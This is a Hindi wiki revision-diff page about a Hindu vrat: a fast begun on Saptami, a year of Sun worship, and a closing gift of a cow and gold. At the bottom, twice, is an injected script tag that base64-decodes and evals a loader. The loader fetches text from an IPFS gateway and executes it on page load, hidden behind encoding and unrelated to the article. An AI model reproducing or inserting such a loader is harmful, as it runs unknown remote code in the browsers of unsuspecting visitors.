No edit summary |
No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
<websiteFrame> | |||
website=http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fhi.bharatdiscovery.org&layout=standard&show_faces=true&width=450&action=like&colorscheme=light&height=80 | |||
name= | |||
align= | |||
height="80" | |||
width="450" | |||
border=0 | |||
scroll=no | |||
longdescription= | |||
</websiteFrame> | |||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक [[व्रत]] संस्कार है। | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक [[व्रत]] संस्कार है। | ||
*'[[सप्तमी]] को यह व्रत आरम्भ किया जाता है। | *'[[सप्तमी]] को यह व्रत आरम्भ किया जाता है। |
13:08, 18 नवम्बर 2010 का अवतरण
<websiteFrame> website=http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fhi.bharatdiscovery.org&layout=standard&show_faces=true&width=450&action=like&colorscheme=light&height=80 name= align= height="80" width="450" border=0 scroll=no longdescription= </websiteFrame>
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- 'सप्तमी को यह व्रत आरम्भ किया जाता है।
- उस दिन नक्त विधि; देवता, सूर्य कू पूजा करते हैं।
- यह पूजा एक वर्ष तक होती है।
- अन्त में गो एवं सोने का दान किया जाता है।
- ऐसी मान्यता है कि इसे करने से सूर्यलोक की प्राप्ति होती है।[1];[2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>